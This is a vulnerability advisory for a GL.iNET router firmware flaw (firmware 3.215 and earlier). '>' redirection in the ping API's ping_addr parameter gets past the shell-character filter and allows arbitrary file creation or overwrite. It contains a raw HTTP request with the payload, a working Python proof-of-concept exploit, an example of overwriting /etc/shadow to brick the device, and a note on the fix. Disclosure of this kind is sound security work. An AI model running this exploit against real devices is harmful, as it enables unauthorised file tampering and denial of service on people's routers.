CVE-2023-31472: GL.iNET Arbitrary File Creation


CVE-2023-31472: GL.iNET Arbitrary File Creation

  • CVSS Score - 7.5, High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
  • Overview - All GL.iNET devices running firmware <= 3.215 are vulnerable to arbitrary file write, where an empty file can be created anywhere on the filesystem. This is due to a command injection vulnerability with a filter applied. Example request below:
1
2
3
4
5
6
7
8
POST /api/internet/ping HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 30

ping_addr=127.0.0.1+>/tmp/test
  • Description
    • The API endpoint /api/internet/ping takes a ping_addr parameter, and piped it into the command ping %s -c4 > /tmp/ping_result 2>&1.
    • Since firmware 3.215, all string parameters are checked to determine if shell injection characters (like ; or | are being used), and any API requests with those special characters are immediately blocked. This check was implemented in response to CVE-2022-31898. These characters include ;, |, &, (, ), $, and the backtick char. However, the > and < signs are not, hence allowing us this behavior. In addition, the - character is not prohibited, allowing us to add in special ping arguments. However, extra ping arguments don’t really allow us much more control over the system.
    • Note that this can also be used to overwrite existing files. For example, the payload 127.0.0.1+>/etc/shadow would overwrite the /etc/shadow binary, bricking the system.
  • Steps to reproduce - run the Proof of Concept below using python3 exploit.py <domain/IP> <authtoken> </path/to/file>, such as python3 exploit.py 192.168.8.1 80dafe40822e4a59b6daabd659617963 /tmp/arbitrary_file_write

Fix

This was fixed in 3.216 by filtering out all > characters.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests, sys
import urllib.parse
import warnings
warnings.filterwarnings("ignore")


## Get arguments
if (len(sys.argv) < 4):
print("Usage: python3 exploit.py <domain/IP> <authtoken> <filepath>")
sys.exit(1)

url = sys.argv[1]
token = sys.argv[2]
path = sys.argv[3]


## Send request
data = "ping_addr=127.0.0.1+>"+path
headers = {'Authorization': token, 'Content-Type': 'application/x-www-form-urlencoded'}
response = requests.request("POST", "https://"+url+"/api/internet/ping", verify=False, timeout=4, data=data, headers=headers)


## Check response
try:
code = response.json()['code']
if code == -1:
print("[-] Auth token invalid")
elif code == 0:
print("[+] Command executed")
else:
sys.exit(1)
except:
print("[-] Machine not vulnerable, error was encountered")